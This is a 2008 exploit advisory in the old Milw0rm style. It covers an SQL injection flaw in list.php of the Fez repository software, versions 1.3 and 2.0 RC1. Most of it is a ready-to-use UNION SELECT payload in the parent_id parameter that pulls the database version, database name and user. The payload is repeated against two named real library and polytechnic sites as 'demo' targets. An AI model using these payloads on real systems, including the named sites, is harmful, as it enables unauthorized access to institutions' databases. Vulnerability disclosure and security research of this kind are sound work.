fez-sql.txt

`[~]------------------------------------------------------------------------------  
[~] Fez software Version 1.3 AND 2.0 RC1 (list.php) - SQL Injection Vulnerability  
[~]  
[~] http://sourceforge.net/projects/fez  
[~]   
[~] About:- [Fez is an open source project to produce and maintain a highly flexible web interface to FEDORA   
[~] for any Library or Institution to configure and publish or archive documents of any type sustainably.]  
[~]  
[~] ----------------------------------------------------------  
[~] Bug founded by d3v1l  
[~]  
[~] Date: 22.09.2008  
[~]  
[~]  
[~] [email protected]  
[~]  
[~] -----------------------------------------------------------  
[~] Greetz tO:-  
[~]   
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )  
[~]   
[~] Pentest|Gibon|Pig and regards to Milw0rm Staff  
[~]-------------------------------------------------------------  
[~] Exploit :-  
[~]  
[~] http://site.com/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*  
[~]  
[~] Demo :- 1.3  
[~]  
[~] http://repository.openpolytechnic.ac.nz/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*  
[~]   
[~]  
[~] Demo :- 2.0 RC1  
[~]  
[~] http://avi.lib.cas.cz/sandbox/fex/trunk/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*  
[~]  
[~]-----------------------------------------------------------------------------------------------------------------------------------------  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
`